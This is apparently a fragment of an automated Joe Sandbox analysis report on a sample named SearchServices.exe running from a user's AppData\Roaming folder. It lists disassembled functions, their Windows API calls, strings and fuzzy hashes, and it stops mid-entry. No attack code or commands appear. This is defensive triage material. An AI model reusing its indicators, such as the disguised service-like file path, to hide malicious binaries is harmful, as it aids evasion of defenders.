EncodePointer.KERNEL32 ref: 00000264CC27AA68
_CallSETranslator.LIBVCRUNTIME ref: 00000264CC27AAB7

Strings

RCC, xrefs: 00000264CC27AA85
MOC, xrefs: 00000264CC27AA7C

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 8c50b4be5101ca436ab40942ca11bb20872990794fe9be14f2d31209ab09c030
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 25615933A02B84CAEB10EF65D4943DD77A0F354B98F046216EF8957BA8DB39C695C700

Function 00007FF7287EF800 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7287EF85F
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7287EF8AB

Strings

MOC, xrefs: 00007FF7287EF873
RCC, xrefs: 00007FF7287EF87B

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 93010d95ed42164ec617659bf15c462d53d81a38e330ec23f798dc78275aa1b2
Instruction ID: 949e7c3ea7ae8232aa043538116ecd47b75e9d14e471869517c8b021173432df
Opcode Fuzzy Hash: 93010d95ed42164ec617659bf15c462d53d81a38e330ec23f798dc78275aa1b2
Instruction Fuzzy Hash: E8619E32908BC581E720AB55E8407AAF7A0FB99794F844227EB8D47F55DF3DE190CB14

Function 00000264CC24A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000264CC24A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000264CC24A288

Strings

csm, xrefs: 00000264CC24A2DA
csm, xrefs: 00000264CC24A1C2

Memory Dump Source

Source File: 00000005.00000002.1965448950.00000264CC240000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000264CC240000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc240000_SearchServices.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: afcc6e0b93a4e462caa3e45a1975d181308f59494d199a8c3fc7c49bbc36ddbe
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 0A51A232902380CBEB74EF5594683987BA1F355B88F186117DAC997BE5DB3AD690C700

Function 00000264CC27AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000264CC27ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000264CC27AE88

Strings

csm, xrefs: 00000264CC27AEDA
csm, xrefs: 00000264CC27ADC2

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 441aabcc44ae0701a673520cdb8d0c01d4866f84bcb373a9187d19c21ba99ca5
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 4A51E072942380CAEB30AF11D5E839877A0F355BA4F147117EAD987BE5CB3AD690C701

Function 00007FF7287EFBB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7287EFBD8
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7287EFCC0

Strings

csm, xrefs: 00007FF7287EFBFA
csm, xrefs: 00007FF7287EFD12

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 7fe73a2a5521307b3718a11731218a5d657cd704d90c9c291f237acf2a87c54e
Instruction ID: 4f22b0122ffc59b6db24ddbcdbc2cfd0dd4d28873e8a70271caf3dc2f3791987
Opcode Fuzzy Hash: 7fe73a2a5521307b3718a11731218a5d657cd704d90c9c291f237acf2a87c54e
Instruction Fuzzy Hash: 2351CE329482C286EB24AF959C50268FBA0FB58B84F944177DA8D47FD5CF3DE4608B18

Function 00000264CC248405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000264CC248413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000264CC2484A8

Strings

f, xrefs: 00000264CC248426
csm, xrefs: 00000264CC24848E

Memory Dump Source

Source File: 00000005.00000002.1965448950.00000264CC240000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000264CC240000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc240000_SearchServices.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 0ae6ce71d404cb044289eef4bff3286ae9117ecac33a9c96395d24f9834b40e1
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 9F51D372F23600CBDB15EB15E418B993795F350B9CF52A126DE96837A8EB76CE40C704

Function 00000264CC2483E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000264CC248413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000264CC2484A8

Strings

f, xrefs: 00000264CC248426
csm, xrefs: 00000264CC24848E

Memory Dump Source

Source File: 00000005.00000002.1965448950.00000264CC240000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000264CC240000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc240000_SearchServices.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 34ccf93ecf39ebbb73b2c2f0b3686063bffc6449bc74b999be2d36eafae4c9a5
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 9031C231A22740D7E714EF11E85879A37A4F340B88F059016EEDA837A4DB3ACB40CB04

Function 00007FF7287E2870 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7287E8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7287E2A9B), ref: 00007FF7287E8E1A

MessageBoxW.USER32 ref: 00007FF7287E297B
MessageBoxA.USER32 ref: 00007FF7287E2997

Strings

%s%s: %s, xrefs: 00007FF7287E28F6
Fatal error detected, xrefs: 00007FF7287E2951, 00007FF7287E2989

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: bd3b1ec170c9362c6821fd135409a0077202d763314442d1f4ebee1409f7e8bb
Instruction ID: 2e227c9757be6b6755b8c9709ba720dab4b9e2c128dbd354651262b8c753a827
Opcode Fuzzy Hash: bd3b1ec170c9362c6821fd135409a0077202d763314442d1f4ebee1409f7e8bb
Instruction Fuzzy Hash: A2318D72638A8281E620EB50EC412EAE3A4FF98784F804037E78D46A99DF3DD605CF54

Function 00007FF7287E4340 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7287E8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7287E2A9B), ref: 00007FF7287E8E1A

CreateFileW.KERNEL32(00000000,?,?,00007FF7287E3FB9,?,00007FF7287E39CA), ref: 00007FF7287E43A8
GetFinalPathNameByHandleW.KERNEL32(?,?,00007FF7287E3FB9,?,00007FF7287E39CA), ref: 00007FF7287E43C8
CloseHandle.KERNEL32(?,?,00007FF7287E3FB9,?,00007FF7287E39CA), ref: 00007FF7287E43D3

Strings

\\?\, xrefs: 00007FF7287E43F7

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Handle$ByteCharCloseCreateFileFinalMultiNamePathWide
String ID: \\?\
API String ID: 2226452419-4282027825
Opcode ID: 73aa29fffb20bf18054ec36f2ff632c499c886adceaf3567ccea49c9f56a016a
Instruction ID: 02ca4d45f1e836cb4fb99010e850e5e2d82d920ab25b634e63f5566ab0fb2cae
Opcode Fuzzy Hash: 73aa29fffb20bf18054ec36f2ff632c499c886adceaf3567ccea49c9f56a016a
Instruction Fuzzy Hash: 2821D062B18A9145E720EB61FC443A9E291EB88794F844233DF5D43B94DF3ED558CF18

Function 00000264CC282058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000264CC2820D7
WriteFile.KERNEL32 ref: 00000264CC28239F
WriteFile.KERNEL32 ref: 00000264CC2823E5
GetLastError.KERNEL32 ref: 00000264CC28249B

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 8e1376922dc1ed649fc1875265ce6cfcdc847f9adeaf8fd61b980dcb16687854
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 72D11373B06A80C9E711DFB9D4683DC3BB1F354798F109216CE9A97BAADA35C616C340

Function 00007FF7287FD350 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7287FD3CF
WriteFile.KERNEL32 ref: 00007FF7287FD697
WriteFile.KERNEL32 ref: 00007FF7287FD6DD
GetLastError.KERNEL32 ref: 00007FF7287FD793

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: f3307fa9b22cd1c245fea77c51432e5876b76cda8032067fabe2ab74fde9908f
Instruction ID: c3d3bebd7fa86abcb3cdb81684db39027b7495bd02183595514e2e5a6b2d8526
Opcode Fuzzy Hash: f3307fa9b22cd1c245fea77c51432e5876b76cda8032067fabe2ab74fde9908f
Instruction Fuzzy Hash: C1D11532B18A4189E710DFB6CC401ECBBA2FB59798B444236DE5D97B89DE39E406C724

Function 00000264CC2714A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000264CC2714C5
HeapFree.KERNEL32 ref: 00000264CC2714D4
GetProcessHeap.KERNEL32 ref: 00000264CC2714E1
HeapFree.KERNEL32 ref: 00000264CC2714F0
GetProcessHeap.KERNEL32 ref: 00000264CC271500

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: fccdced75e0e166058a65fb9f01cb5bc762ae8e924348a52df6b038ca287fb4d
Instruction ID: 62a2b16043603599021439a493804e64e297665689a2572dc487801c9f4c7c31
Opcode Fuzzy Hash: fccdced75e0e166058a65fb9f01cb5bc762ae8e924348a52df6b038ca287fb4d
Instruction Fuzzy Hash: DB11A137902F90C6E714EF6AE82858977A0FB88F81F045026DF8943727DE35C150C740

Function 00000264CC282980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000264CC282A9C
GetLastError.KERNEL32 ref: 00000264CC282B27

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 30edfc7d53858cd7dfb30e9338138483ee26bdae4219fa4f949762d55c6ebcc1
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 7F91A273F12650C5F760EF6594683ED3BA0F744B98F14610BDE8A57BA6DA36C682C700

Function 00007FF7287E2310 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7287E2344
SetWindowLongPtrW.USER32 ref: 00007FF7287E2366
GetWindowLongPtrW.USER32 ref: 00007FF7287E2390
InvalidateRect.USER32 ref: 00007FF7287E23B0

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: c8ffd58409c2a817e2eafc26a907e7367a815fa90807bfabd45e1aee5e5800ec
Instruction ID: 970c1535e101764fd6e5e39e21b0dae2a05c66b25e1b2330fc2084ddbbcbd21f
Opcode Fuzzy Hash: c8ffd58409c2a817e2eafc26a907e7367a815fa90807bfabd45e1aee5e5800ec
Instruction Fuzzy Hash: A711E921E6818242F754ABA9FD442B9D292EB9CBC0FC48033EA5D06BD9CD3ED4D54E18

Function 00007FF7287EC7A0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7287EC7CC
GetCurrentThreadId.KERNEL32 ref: 00007FF7287EC7DA
GetCurrentProcessId.KERNEL32 ref: 00007FF7287EC7E6
QueryPerformanceCounter.KERNEL32 ref: 00007FF7287EC7F6

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 9121cd0992376079c28b7b15cfb2bb882a77f2b3c78bb4ce64e2c22522254d02
Instruction ID: 3a4a72887352c4f84b3082fc2d24fdee2fdc05b39823a2f152a80c30c2032f1b
Opcode Fuzzy Hash: 9121cd0992376079c28b7b15cfb2bb882a77f2b3c78bb4ce64e2c22522254d02
Instruction Fuzzy Hash: C2114F22B24B0189EB00DF60EC442A8B3A4F718758F441E32DA6D42BA4DF3CD1688750

Function 00000264CC249E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000264CC249EB7

Strings

RCC, xrefs: 00000264CC249E85
MOC, xrefs: 00000264CC249E7C

Memory Dump Source

Source File: 00000005.00000002.1965448950.00000264CC240000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000264CC240000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc240000_SearchServices.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: dfeb5b791a9273c3f06294a4aa090c67528e8ca311f877ef2152a27348e6c567
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: D4619E33A02B44CAEB20EF65D4547DD77A4F348B88F046216EF8917BA8DB7AD295C704

Function 00000264CC272330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000264CC272416
StrCpyW.SHLWAPI ref: 00000264CC27242D

Strings

\\.\pipe\, xrefs: 00000264CC272421

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 3cebbb0f67cf792cf4b081e7e2c6bcc634a3188a1e546492610b8e5a6f66ad2d
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: B251E232A46781C1E638EA29E4FC3EA6751F385780F44212BDEC913BA9DE7BC7448740

Function 00007FF728806A6C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7288025B0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7288025E3

_get_daylight.LIBCMT ref: 00007FF728806B84
_get_daylight.LIBCMT ref: 00007FF728806B95

Strings

?, xrefs: 00007FF728806B15

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 8b6f824ce68226522039b5681d667a4258c25c0b371a8f4ef00d3752ae492e10
Instruction ID: d16f47fb3ecabd250e1c85cabcfea67e911037da28e0b9e600335b37ac0a9315
Opcode Fuzzy Hash: 8b6f824ce68226522039b5681d667a4258c25c0b371a8f4ef00d3752ae492e10
Instruction Fuzzy Hash: B5413A12A2836241F720EB259C1137AE6D0FB807A4F544236EE6C46BDADF3ED461CF14

Function 00007FF7287F9DC8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F9DFA

Part of subcall function 00007FF7287FB700: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF728803B72,?,?,?,00007FF728803BAF,?,?,00000000,00007FF728804075,?,?,00000000,00007FF728803FA7), ref: 00007FF7287FB716
Part of subcall function 00007FF7287FB700: GetLastError.KERNEL32(?,?,?,00007FF728803B72,?,?,?,00007FF728803BAF,?,?,00000000,00007FF728804075,?,?,00000000,00007FF728803FA7), ref: 00007FF7287FB720

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7287EC335), ref: 00007FF7287F9E18

Strings

C:\Users\user\AppData\Roaming\SearchServices.exe, xrefs: 00007FF7287F9E06

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ErrorFileLanguagesLastModuleNamePreferredRestoreThread_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Roaming\SearchServices.exe
API String ID: 2553983749-2105519084
Opcode ID: 2dc50b8d6a573f30b306f0085b97da4955317f93722b68647fdb996873f18b46
Instruction ID: b58e62a316c6767718cb4bab2aee4da7de618e15a36d5ff86126742e5bd2a36a
Opcode Fuzzy Hash: 2dc50b8d6a573f30b306f0085b97da4955317f93722b68647fdb996873f18b46
Instruction Fuzzy Hash: 4B41C236A48B4286EB14EF66DC401B8F394EB587D4F944037E90E43B99DF3EE4518B24

Function 00000264CC2826F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000264CC282807
GetLastError.KERNEL32 ref: 00000264CC282829

Strings

U, xrefs: 00000264CC2827B3

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: e519b00514d6b1ca303107ded7d3f98d30f2fbffbd53a28a089c9fc20007cb12
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: CA41A373B16A80C2DB20EF25E8583E977A0F798794F905022EE8D877A5EB3DC641C750

Function 00007FF7287FD9E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7287FDAFF
GetLastError.KERNEL32 ref: 00007FF7287FDB21

Strings

U, xrefs: 00007FF7287FDAAB

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 76bc1a38fdffd9ebe3e6e71a83b0ba687688a06d9a48e83c019cb8b3d6fff0c8
Instruction ID: e8dec7f0c545464c86fac105c3c15018cbc5e5cac05db1f9ebfeb32a3e4ea491
Opcode Fuzzy Hash: 76bc1a38fdffd9ebe3e6e71a83b0ba687688a06d9a48e83c019cb8b3d6fff0c8
